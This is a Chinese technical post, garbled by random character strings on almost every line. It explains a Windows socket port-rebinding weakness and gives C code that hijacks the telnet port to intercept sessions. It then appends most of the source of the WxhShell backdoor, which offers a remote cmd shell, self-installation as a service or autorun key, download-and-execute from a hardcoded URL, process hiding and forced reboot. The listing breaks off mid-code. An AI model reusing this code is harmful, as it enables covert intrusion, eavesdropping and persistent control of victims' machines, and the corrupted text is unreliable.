在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Ria*+.k@"B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H 4W4#\M n<7R6)j6 saddr.sin_family = AF_INET;
QW@`4W0F G?yG|5.pU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@z.HyQ_v 0R?LWm
j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
klC48l +Xr87x; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
UazUr=|e <Dp[F|r 这意味着什么?意味着可以进行如下的攻击:
gtb,}T=1 mt3j$r{_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7;:Uv= Rwz (20n\^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Q(YQ$i"S (=i+{
3`| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
DKf:0E8 _Nq7_iT0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>_?Waz% <~!R|5sK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Rlf#)4 *[['X%f 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\>XkK<ye lWYgIpw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-jsk-, Jyu*{ #include
UzmD2AsO" #include
y 4jelg #include
'd
6z^Z6 #include
A@ lY{e DWORD WINAPI ClientThread(LPVOID lpParam);
Z\M8DZW8Y int main()
7q _.@J {
DWRq \`P
WORD wVersionRequested;
HOAgRhzE DWORD ret;
y]ZujfW7 WSADATA wsaData;
H#j Z'I BOOL val;
41`&/9:"_M SOCKADDR_IN saddr;
4m$Xjj`vE SOCKADDR_IN scaddr;
vb Mv8Nk int err;
js\|xfDxP SOCKET s;
/F6=iHK(l SOCKET sc;
wi/dR}*A int caddsize;
jPNm $Y1 HANDLE mt;
1
9C=' TMS DWORD tid;
VM[Vhk[ wVersionRequested = MAKEWORD( 2, 2 );
dg]: JU err = WSAStartup( wVersionRequested, &wsaData );
-gKo@I if ( err != 0 ) {
g>O
O '}lF printf("error!WSAStartup failed!\n");
PG/xX
H return -1;
d$` NApr }
eyGY8fF8$ saddr.sin_family = AF_INET;
uCNi&. v=I 'rx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{m+(j (6- /"<o""<] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$>fMu saddr.sin_port = htons(23);
^h@1t FF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2oFHP_HVfu {
%7~~*_G printf("error!socket failed!\n");
H#;-(`F return -1;
!*C9NX }
x7]Yn'^' val = TRUE;
&*#- %<=1 //SO_REUSEADDR选项就是可以实现端口重绑定的
noa=wy if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sC.aT(meJ {
L.@o printf("error!setsockopt failed!\n");
"R/Xv+; return -1;
n++L
=&Wd }
k/ 9S
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0
))W [ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+MfdZD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8E|
Nf )!&7X L[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m:7$"oq| {
g"iLhm`L ret=GetLastError();
u/BCl!` printf("error!bind failed!\n");
2& l~8, return -1;
hs"=>(P) }
"NamP\hj listen(s,2);
[nam H a while(1)
KGsH3{r {
5 5_#?vw caddsize = sizeof(scaddr);
`'{>2d%\g //接受连接请求
Q,mmHw.`J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}G#TYF} if(sc!=INVALID_SOCKET)
3i'L5f67 {
#JH#Qg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
F#w=z/ if(mt==NULL)
gz? ]]-H {
1 f;k)x printf("Thread Creat Failed!\n");
67/&.d! break;
CN$wlhs }
ljij/ C= }
Ty21-0F CloseHandle(mt);
H7KcPN(0 }
sacaL4[_< closesocket(s);
jz%%r Q( WSACleanup();
$=iV)- return 0;
<"g ^V }
;oQ*gd DWORD WINAPI ClientThread(LPVOID lpParam)
%!G]H {
SWYIQ7* SOCKET ss = (SOCKET)lpParam;
L"akV,w4p SOCKET sc;
y%21`y&Os unsigned char buf[4096];
'@ym-\, SOCKADDR_IN saddr;
\lnps f long num;
Ls#=R DWORD val;
9oK#n'hjb DWORD ret;
%C!u/:.Kv //如果是隐藏端口应用的话,可以在此处加一些判断
!?o661+b //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
h$Z_r($b
saddr.sin_family = AF_INET;
;/3
< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8T:|~%Sw saddr.sin_port = htons(23);
JwNG`MGc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w~eF0{h {
QGYO{S printf("error!socket failed!\n");
3:f<cy
return -1;
3JiJ,<,7 }
YI=03}I val = 100;
<(YmkOS+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t UJ m}+=> {
J1^6p*]GX ret = GetLastError();
U}55;4^LX return -1;
J?WT }
gF@51K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5h9`lS2 {
(=d%Bn$6b ret = GetLastError();
>g!a\=-[ return -1;
n1n1} }
OKU9v{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8,BNs5 {
9OeY59
: printf("error!socket connect failed!\n");
J
00%,Ju_ closesocket(sc);
+1Ha,Ok closesocket(ss);
li4rK<O return -1;
Vj7(6'Hg }
=y; tOdj while(1)
W_NQi {
VuDSjh //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]>NP?S
)R //如果是嗅探内容的话,可以再此处进行内容分析和记录
\dAh^B K1( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)&"l3*x num = recv(ss,buf,4096,0);
#<X+)B6t if(num>0)
N:j"W,8 send(sc,buf,num,0);
rzH*| B0g else if(num==0)
b]v.jgD break;
bJJB*$jW= num = recv(sc,buf,4096,0);
_7(>0GY if(num>0)
aHosu=NK send(ss,buf,num,0);
Ctpr. else if(num==0)
bDa(@QJ- break;
#{)=%5=c }
i]:T{2 closesocket(ss);
2f8fA'|O closesocket(sc);
`B{N3Kxbp return 0 ;
wf!?'* }
^zv0hGk 2 ?lJm}0> KLW#+vZ ==========================================================
seh1(q?Va4 HhN;&67~Z 下边附上一个代码,,WXhSHELL
.'md `@t x:W nF62 ==========================================================
ozZW7dveU $=7[.z& #include "stdafx.h"
/
AFn8=9'^ ;iJ*.wVq #include <stdio.h>
5CZii=@ #include <string.h>
e"u=4nk #include <windows.h>
wu5]S)?* #include <winsock2.h>
Pa%;[hbn #include <winsvc.h>
&?m|PK) I #include <urlmon.h>
1$Rua @!0@f'}e #pragma comment (lib, "Ws2_32.lib")
=W(mZ#*vdY #pragma comment (lib, "urlmon.lib")
^2L\Y2 $;1#gq% #define MAX_USER 100 // 最大客户端连接数
[:-Ltfr #define BUF_SOCK 200 // sock buffer
pp$WM\r #define KEY_BUFF 255 // 输入 buffer
?{W@TY@S ?\MvAG7Y #define REBOOT 0 // 重启
" (c#H #define SHUTDOWN 1 // 关机
hqW4.|&\c VP
H #define DEF_PORT 5000 // 监听端口
L~_3BX gPO,Z #define REG_LEN 16 // 注册表键长度
JivkY"= F #define SVC_LEN 80 // NT服务名长度
a?bSMt}
}W{rDc kv // 从dll定义API
$2Y'[Dto\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^z#'o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
p._BG80 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V!#+Ti/w4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)UA$."~O :<ye:P1s // wxhshell配置信息
%|L+~ = struct WSCFG {
B#RwW, int ws_port; // 监听端口
7%C6hEP/*W char ws_passstr[REG_LEN]; // 口令
<aJdm!6 int ws_autoins; // 安装标记, 1=yes 0=no
T4,dhS| char ws_regname[REG_LEN]; // 注册表键名
n?vw|'(} char ws_svcname[REG_LEN]; // 服务名
}eUeADbC char ws_svcdisp[SVC_LEN]; // 服务显示名
\}SA{) char ws_svcdesc[SVC_LEN]; // 服务描述信息
/t=R~BJu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)N`a4p int ws_downexe; // 下载执行标记, 1=yes 0=no
_-aQ.p ?T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+}H2|vP char ws_filenam[SVC_LEN]; // 下载后保存的文件名
lub(chCE[ }%_h|N };
R I Bj9kd *I)oDq3 // default Wxhshell configuration
(uV~1 struct WSCFG wscfg={DEF_PORT,
GxWA=Xp^~G "xuhuanlingzhe",
W]kh?+SZ 1,
[03$*BCq 3 "Wxhshell",
". jY3<bQg "Wxhshell",
r`5[6)+P "WxhShell Service",
h|h-< G?> "Wrsky Windows CmdShell Service",
[)V&$~xW "Please Input Your Password: ",
qdoJIP{ 1,
lhsd39NM "
http://www.wrsky.com/wxhshell.exe",
iM;7V*u "Wxhshell.exe"
WZq0$:I;R };
IXYSZ)z bF:]MB^VK // 消息定义模块
|=H*" ( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
cI)T@Zg_o+ char *msg_ws_prompt="\n\r? for help\n\r#>";
\ .HX7v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<}S1ZEZcQ char *msg_ws_ext="\n\rExit.";
B{'x2I#, char *msg_ws_end="\n\rQuit.";
5y07@x char *msg_ws_boot="\n\rReboot...";
g_?:G$1H char *msg_ws_poff="\n\rShutdown...";
@+LkGrDP char *msg_ws_down="\n\rSave to ";
qMT7g LB'1 RD_IGV char *msg_ws_err="\n\rErr!";
B9IqX char *msg_ws_ok="\n\rOK!";
E6(OEC%, }t!,{ZryE1 char ExeFile[MAX_PATH];
]Igd< int nUser = 0;
*sI`+4h[ HANDLE handles[MAX_USER];
8x$BbK int OsIsNt;
"YbvI@pD gJn|G#! SERVICE_STATUS serviceStatus;
.a._WZF SERVICE_STATUS_HANDLE hServiceStatusHandle;
^E_`M:~ RUHQ]@d#T // 函数声明
R*~<?}Rr int Install(void);
~Xi_bTAyAW int Uninstall(void);
u/?s_OR int DownloadFile(char *sURL, SOCKET wsh);
KLv`Xg \ int Boot(int flag);
G0p|44_~t void HideProc(void);
&9bsTm int GetOsVer(void);
[iE% P^ int Wxhshell(SOCKET wsl);
!~5;Jb>s[/ void TalkWithClient(void *cs);
&6%%_Lw$ int CmdShell(SOCKET sock);
1 FTxbw@ int StartFromService(void);
-QR&]U+ int StartWxhshell(LPSTR lpCmdLine);
_^cDB1I? 49b#$Xq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s'\PU1{ VOID WINAPI NTServiceHandler( DWORD fdwControl );
6u>${} .kWMr^ g // 数据结构和表定义
i=$## SERVICE_TABLE_ENTRY DispatchTable[] =
\tf \fa {
K5-wuD1 {wscfg.ws_svcname, NTServiceMain},
lA[BV7.=7 {NULL, NULL}
bDI#' F };
bqEQP3t^ ~\A(xmW} // 自我安装
()1\b int Install(void)
Y<%)Im6v/ {
;ru=z@ char svExeFile[MAX_PATH];
s5? 1w HKEY key;
V_pWf5F strcpy(svExeFile,ExeFile);
P,y*H_@k UJ-IK|P.# // 如果是win9x系统,修改注册表设为自启动
(jYHaTL6Y' if(!OsIsNt) {
S;#S3?G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ab? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(`+%K_ RegCloseKey(key);
II$B"- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{@K>oaZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZuIr=`"j RegCloseKey(key);
Vae}:8'} return 0;
Pg[XIfBva }
X`kTbIZ| }
3|4jS"t{f }
QDCu else {
0M^7#), ! 6yoD // 如果是NT以上系统,安装为系统服务
6gz
!K"S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.&O}/B if (schSCManager!=0)
[@"~'fu0 {
I}JC ~=`j SC_HANDLE schService = CreateService
?Fgk$WqC (
>`Xikn( schSCManager,
oNHbQ&h wscfg.ws_svcname,
Ua^#.K wscfg.ws_svcdisp,
hl`4_`3y SERVICE_ALL_ACCESS,
L{H`
t{A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qN h:;` SERVICE_AUTO_START,
},9Hq~TA SERVICE_ERROR_NORMAL,
&,B\ig1Jf svExeFile,
-#Xo^-& NULL,
yPG,+uQ$. NULL,
wZ7Opm<nt NULL,
!1
:%!7 NULL,
QcBuUFf!c NULL
5yPw[
EY );
Bw^*6P^l if (schService!=0)
Db"jzMW. {
_;baZ- CloseServiceHandle(schService);
yVQ0;h CloseServiceHandle(schSCManager);
IC&>PwXb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(>O'^W\3p strcat(svExeFile,wscfg.ws_svcname);
l-` M
9# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'Rbv3U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
13
`Or(>U RegCloseKey(key);
AlP}H~|M7 return 0;
;.$AhjqiP }
;hP43Bi }
d:08@~# CloseServiceHandle(schSCManager);
Zpfsh2` }
fFu+P<?" }
w1q-bIU VJW%y)_[ return 1;
V$U#'G>m }
om6'%nXhn I8*_\Ez // 自我卸载
QWL$F:9: int Uninstall(void)
mS)|i+5 {
^P30g2gv> HKEY key;
vv0A5p8H \09m
?;^ if(!OsIsNt) {
RsnKB/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Nn/me RegDeleteValue(key,wscfg.ws_regname);
Ql`N)! RegCloseKey(key);
/)6+I(H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
quXL'g RegDeleteValue(key,wscfg.ws_regname);
#mhR^60, RegCloseKey(key);
7lQ@I}i return 0;
[D/q
}
`M0m`Up }
} a#RX$d& }
"u#,#z_ else {
Zb> UY8 )fPN6x/e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/2 V if (schSCManager!=0)
x-0O3IIE {
tf1iRXf8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
pC=kv ve if (schService!=0)
WC2sRv4]3 {
yU ?TdM\ if(DeleteService(schService)!=0) {
hnOo T? V CloseServiceHandle(schService);
0\W6X;? CloseServiceHandle(schSCManager);
A7U]wW9 return 0;
g!/O)X3 }
Ife/:v CloseServiceHandle(schService);
D==C"}J }
=i'APeNaQ CloseServiceHandle(schSCManager);
o$PY0~# }
|HT5G=dw }
6uNWL `v o:oQF[TcFO return 1;
SSCyq#dl$ }
c,
IAz [S Jx\Os // 从指定url下载文件
JDbRv'F:( int DownloadFile(char *sURL, SOCKET wsh)
P*=M?:Jb, {
fXo$1! HRESULT hr;
pi?$h"y7Q char seps[]= "/";
CEQs}bz char *token;
EA#{N< char *file;
^l;N;5L char myURL[MAX_PATH];
iX]tL:,~i char myFILE[MAX_PATH];
LN=6u *;E\,,Io strcpy(myURL,sURL);
x:wv#Wh:l7 token=strtok(myURL,seps);
B EN
U while(token!=NULL)
Q)mYy {
TR7j`? file=token;
Pk2=*{:W token=strtok(NULL,seps);
Y6+/_$N4| }
QOT|6)Yb &/+LY_r'<I GetCurrentDirectory(MAX_PATH,myFILE);
h*X5Oh6 strcat(myFILE, "\\");
fYxdG|>{u strcat(myFILE, file);
TzSEQS{ send(wsh,myFILE,strlen(myFILE),0);
-] @cUx send(wsh,"...",3,0);
q8m[ S4Q]g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>6X$iBb0 if(hr==S_OK)
JE~;gz] return 0;
~<.%sVwE else
}0okyGg>q return 1;
xLN$!9t ^*g= 65!1 }
@zs.M-F IjaFNZZC! // 系统电源模块
IuV7~w int Boot(int flag)
NCX`-SLv {
Zb&5)&'X HANDLE hToken;
i>j(Ds v TOKEN_PRIVILEGES tkp;
`f)X!S2l c^F@9{I if(OsIsNt) {
jNbU{Z%r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
?1afW)`a.v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!(H
RP9 tkp.PrivilegeCount = 1;
vV
PK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8T523VI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<>shx;g^C if(flag==REBOOT) {
Pt=@U: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/mK."5-cm return 0;
.ri?p:a}w }
o;[cApiQ,2 else {
qu`F,OG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e'dx
Y( return 0;
]H-5 }
(F+]h]KSi }
zE8qU; else {
s=8$h:^9> if(flag==REBOOT) {
{3@"}Eh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!n^7&Y[N; return 0;
z(dDX%k@ }
Nu,t,&B
else {
APUpqY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&iTTal.6 return 0;
MhDPf]`
Gg }
n!?^:5=s }
?910ki_ zqCr'$ return 1;
P0c6?K6 j }
fG"4\A kN g{ // win9x进程隐藏模块
eW\C@>Ke void HideProc(void)
bbG!Fg=qQ? {
bMGU9~CeJ SdXAL HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ue&I]/?;$ if ( hKernel != NULL )
|Duf
3u {
cv7.=*Kb; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
rD!UP1Nb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j
V'~> FreeLibrary(hKernel);
3kW%,d*_ }
(nnIRN<}$ /4>|6l= return;
yD yMI }
' JAcN@q~z u`gY/]y! // 获取操作系统版本
Uqd2{fji=# int GetOsVer(void)
~Q2,~9Dkc {
SU7 erCHX OSVERSIONINFO winfo;
L"It0C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[P3
Z"& GetVersionEx(&winfo);
WNp-V02l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i Qa=4'9; return 1;
,|^ lqY else
H=@S+4_bK return 0;
y{9<>28 }
>>.4@
f)#nXTXeC // 客户端句柄模块
xX~;
/e&, int Wxhshell(SOCKET wsl)
Gj- *D7X5 {
MT^krv(G SOCKET wsh;
?'mi6jFFh struct sockaddr_in client;
? oQ_qleuo DWORD myID;
Y;1J`oT nV_[40KP_ while(nUser<MAX_USER)
^$;5ZkQy {
!=p^@N7 int nSize=sizeof(client);
D.,~I^W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
115zvW if(wsh==INVALID_SOCKET) return 1;
:^ J'_ EMw
biGV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fctVJ{? if(handles[nUser]==0)
V_P,~! closesocket(wsh);
G|LcTV else
E>&oe&`o' nUser++;
en8l:INX }
</li<1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
NGAjajB 3h4'DQ.g return 0;
>mp"=Y }
5^e|802 v]U0@#/p // 关闭 socket
7NP
Ny void CloseIt(SOCKET wsh)
mApl}I {
q/dja closesocket(wsh);
m<GJ1)%3i nUser--;
~IS3i'bh ExitThread(0);
_<7e5VR }
;#n+$Q#: KB a
// 客户端请求句柄
X0BBJ( e void TalkWithClient(void *cs)
Vbp`Rm1? {
[' cq x`Ik747^v SOCKET wsh=(SOCKET)cs;
o]WG8Mo- char pwd[SVC_LEN];
X@^"@ char cmd[KEY_BUFF];
7rjS. char chr[1];
VN
>X/ int i,j;
Z:Nm9m k(R&` while (nUser < MAX_USER) {
\Z/#s;c,4 i1-wzI
if(wscfg.ws_passstr) {
$&to( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}x+s5a;!3/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"dFuQB //ZeroMemory(pwd,KEY_BUFF);
]7
2wv#- i=0;
hC2_Yr>N% while(i<SVC_LEN) {
RrRE$g =Y<RG"]a&J // 设置超时
nhI1`l& fd_set FdRead;
UO8./%'
struct timeval TimeOut;
[|dQZ FD_ZERO(&FdRead);
~,O}wT6q FD_SET(wsh,&FdRead);
&/{x7;e TimeOut.tv_sec=8;
1ZRSeh TimeOut.tv_usec=0;
"Rq)%o$Z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{U7A&e0eW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mqKr+
ZfSAXr "( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Q+=D#x pwd
=chr[0]; -: 8[
if(chr[0]==0xd || chr[0]==0xa) { .>+jtp}
pwd=0; f}?q
break; A"no!AN
} JTfG^Nv>K
i++; U
Y')|2y
5
} 6dQ]=];
.+2@(r
// 如果是非法用户,关闭 socket cP&XkAQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {,
zg
} :Wmio\
[B" CNnA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WoX,F1 o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a!*K)x,"<
i~;Yrc%AEX
while(1) { <|c[
#f
r^$WX@ t&
ZeroMemory(cmd,KEY_BUFF); $ZfoJR]%
:Tn1]a)f6
// 自动支持客户端 telnet标准 c(!8L\69V}
j=0; EP}NT)z,{
while(j<KEY_BUFF) { F<|x_6a\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'qnnZE
cmd[j]=chr[0]; -40OS=wpA
if(chr[0]==0xa || chr[0]==0xd) { -8D$ [@y(
cmd[j]=0; =3<@{^Eg
break; N[8y+2SZ
} 4xnM7t\
j++; t9+ME|
} rhvTV(Bz
_)F0oC {
// 下载文件 4&/m>%r
if(strstr(cmd,"http://")) { EE[JXoke
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [SA$d`B/
if(DownloadFile(cmd,wsh)) \<4Hp_2?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fk
else e+7x &-+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Wh7>*p{3
} 7(1UXtT
else { Q2HULz{
U8s&5~IPn
switch(cmd[0]) { bsgr g
p@bcf5'
// 帮助 #+6t|
case '?': { T!pjv8y@R
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q'4qSu
break; &a];"2
} u @eKh3!
// 安装 l1wYN,rv
case 'i': { :c^9\8S
if(Install()) #E#.`/4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GPVqt"TY
else ye-R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Vf0MU;3f+
break; bRb+3au_x
} ~f:jI1(}
// 卸载 .*+KQA8
case 'r': { =x3ZQA
if(Uninstall()) E#A}J:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #(Ah>y
else |"XxM(Dm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E2a00i/9Y
break; 1X$hwkof
} _;yi/)-2
// 显示 wxhshell 所在路径 "f-z3kL
case 'p': { 2h^9lrQcQG
char svExeFile[MAX_PATH]; H&3i[D!p
strcpy(svExeFile,"\n\r"); {9yW8&m
strcat(svExeFile,ExeFile); b+qdl`Vd
send(wsh,svExeFile,strlen(svExeFile),0); A-XWG9nL
break; t:<dirw,o
} f*Dy>sw
// 重启 |)\{Rufb
case 'b': { .<|.nK` 6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9Di@r!Db
if(Boot(REBOOT)) Lavm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q'n]+%YN
else { !mtq?LV
closesocket(wsh); Rr0@F`"R
ExitThread(0); r:*0)UZlD
} }xE}I<M
break; IoI
,IX]i)
} 98^o9i
// 关机 (hv>vfY@
case 'd': { 5gnmRd
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;zc,vs
if(Boot(SHUTDOWN)) P-c<[DSM'I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3~&h9#7Ke
else { :4,
OA
closesocket(wsh); DHnu F@M
ExitThread(0); _[_mmf1;:'
} 3vK,vu q
break; c5e
wG
} ;[>g(W+
// 获取shell hRWRXC9
case 's': { DRUvQf
CmdShell(wsh); rBY{&JhS
closesocket(wsh); |KQkmc
ExitThread(0); )^'g2gVK+p
break; Z(=UZI?
} 5Sm)+FC:
// 退出 zjVQ \L
case 'x': { !04zWYHo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y Ddi+
CloseIt(wsh); E6FT*}Q
break;
mtQlm5l
} %oY=.Ok ]
// 离开 k_}aiHdG
case 'q': { Im* ~6[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zg#VZg1
2
closesocket(wsh); 5/>W(,5}
WSACleanup(); PF4"J^V
exit(1); F:o<E 42
break; Qso"jYl<
} LAT%k2%Wx
} 3?rYt:Uf!
} 8w|-7$ v
8^FAeV#
// 提示信息 M
XX:i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); klKd !
} S`qa_yI)Ed
} n,E=eNc
|VPJaiC~
return; vS$_H<;P
} Mx<?c
W$X@DXT=o
// shell模块句柄 \&S-lsLY
int CmdShell(SOCKET sock)
UFLN/
{ c>(`X@KL
STARTUPINFO si; #kt3l59Ty
ZeroMemory(&si,sizeof(si)); M_Qv{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J0eJRs
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Q!)xEK
PROCESS_INFORMATION ProcessInfo; h/t{=
@
.5
char cmdline[]="cmd"; /QeJ#EHn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ic4mD:-up
return 0; ,py:e>+^t
} X/D^?BKC
_FRwaFVJ3
// 自身启动模式 And|T 6u
int StartFromService(void) }>|M6.n "
{ fZ*LxL
typedef struct .<Lbv5m
{ P e\AH
DWORD ExitStatus; =(^-s Jk
DWORD PebBaseAddress; ]S=AO/'
DWORD AffinityMask; !k= ~5)x
DWORD BasePriority; TL?(0]Hfe
ULONG UniqueProcessId; 2unaK<1s
ULONG InheritedFromUniqueProcessId; MzY~-74aF
